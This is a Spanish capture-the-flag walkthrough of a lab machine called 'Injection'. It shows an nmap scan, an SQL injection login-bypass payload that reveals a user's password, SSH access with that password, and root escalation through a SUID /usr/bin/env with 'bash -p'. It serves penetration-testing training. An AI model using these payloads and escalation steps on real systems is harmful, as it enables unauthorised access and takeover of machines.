

Injection

Intrusión

Lo primero que haremos será comprobar si tenemos conectividad con el comando `ping -c1 172.17.0.2`.

```
> ping -c1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.156 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.156/0.156/0.156/0.000 ms
```

Como tenemos conectividad pasamos a enumerar puertos con el comando `nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2 -oN fastScan`.

```
File: fastScan
1 # Nmap 7.95 scan initiated Fri Oct 3 16:08:49 2025 as: /usr/lib/nmap/nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn -oN fastScan 172.17.0.2
2 Nmap scan report for 172.17.0.2
3 Host is up, received arp-response (0.0000050s latency).
4 Scanned at 2025-10-03 16:08:50 CEST for 7s
5 Not shown: 65533 closed tcp ports (reset)
6 PORT      STATE SERVICE REASON      VERSION
7 22/tcp open  ssh      syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8 | ssh-hostkey:
9 |   256 72:1f:ef:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
10 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAABBJ9UrfkzVjvrLOVFWt9r0Hz6XGJrVwKK/A6RMody6c0ovLNeCgaU6kCb+dGPPeXwCaIo++IwxYm0SxRGYIThr4=
11 | 256 8f:3a:cd:fc:03:26:ad:49:da:6c:a1:89:39:f9:7c:22 (ED25519)
12 | ssh-ed25519 AAAAC3NzaC1lZD01NTESAAAAlJ44CYnate5QxWkpfa7XR8DG/nH3fLXDhtkyMHA5pLh0
13 80/tcp open  http      syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
14 |_ http-methods:
15 |_ Supported Methods: GET HEAD POST OPTIONS
16 |_ http-title: Iniciar Sesión
17 |_ http-server-header: Apache/2.4.52 (Ubuntu)
18 |_ http-cookie-flag:
19 |_ /:
20 |_ PHPSESSID:
21 |_ httponly flag not set
22 MAC Address: 02:42:AC:11:00:02 (Unknown)
23 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
24
25 Read data files from: /usr/share/nmap
26 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
27 # Nmap done at Fri Oct 3 16:08:57 2025 -- 1 IP address (1 host up) scanned in 8.28 seconds
```

Como vemos en la salida están abiertos los puertos **22** y **80**, así que primero miraremos la IP en un navegador a ver que hay en la web.

Como hay un panel de login pondremos los siguientes parámetros para probar una inyección SQL.

```
USUARIO = ' 1 OR '1' = '1
CONTRASEÑA = ' 1 OR '1' = '1
```

Y efectivamente conseguimos acceso a esta página.

Bienvenido Dylan! Has insertado correctamente tu contraseña:
KJSDFG789FGSDF78

Ahora probaremos a entrar por ssh con el usuario dylan y la contraseña escrita ahí.

```

> ssh dylan@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:5ic4ZXizeEb8agR4jNX59cB0NCe5b5iEcU9lf2zt0Q0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
dylan@172.17.0.2's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.12.38+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

dylan@21c824238996:~$ |

```

Como vemos efectivamente podemos entrar.

Escalada de privilegios

Para escalar privilegios probamos con `sudo -l` pero no conseguimos resultados porque no existe sudo, así que buscaremos ficheros que tengan SUID con el comando `find / -perm -4000 -ls 2>/dev/null`.

```

dylan@21c824238996:~$ find / -perm -4000 -ls 2>/dev/null
3309920    332 -rwsr-xr-x  1 root    root      338536 Jan  2  2024 /usr/lib/openssh/ssh-keysign
3309860     36 -rwsr-xr--  1 root    messagebus 35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
3305478     56 -rwsr-xr-x  1 root    root      55672 Feb 21  2022 /usr/bin/su
3324821     44 -rwsr-xr-x  1 root    root      43976 Jan  8  2024 /usr/bin/env
3305398     48 -rwsr-xr-x  1 root    root      47480 Feb 21  2022 /usr/bin/mount
3305504     36 -rwsr-xr-x  1 root    root      35192 Feb 21  2022 /usr/bin/umount
3305403     40 -rwsr-xr-x  1 root    root      40496 Feb  6  2024 /usr/bin/newgrp
3305340     72 -rwsr-xr-x  1 root    root      72072 Feb  6  2024 /usr/bin/gpasswd
3305278     44 -rwsr-xr-x  1 root    root      44808 Feb  6  2024 /usr/bin/chsh
3305414     60 -rwsr-xr-x  1 root    root      59976 Feb  6  2024 /usr/bin/passwd
3305272     72 -rwsr-xr-x  1 root    root      72712 Feb  6  2024 /usr/bin/chfn
dylan@21c824238996:~$ |

```

Encontramos el binario `/usr/bin/env` así que explotaremos el SUID de este binario perteneciente a root con el comando `/usr/bin/env /bin/bash -p`.

```

dylan@21c824238996:~$ /usr/bin/env /bin/bash -p
bash-5.1# whoami
root
bash-5.1# |

```

Con esto ya somos root y hemos terminado la máquina.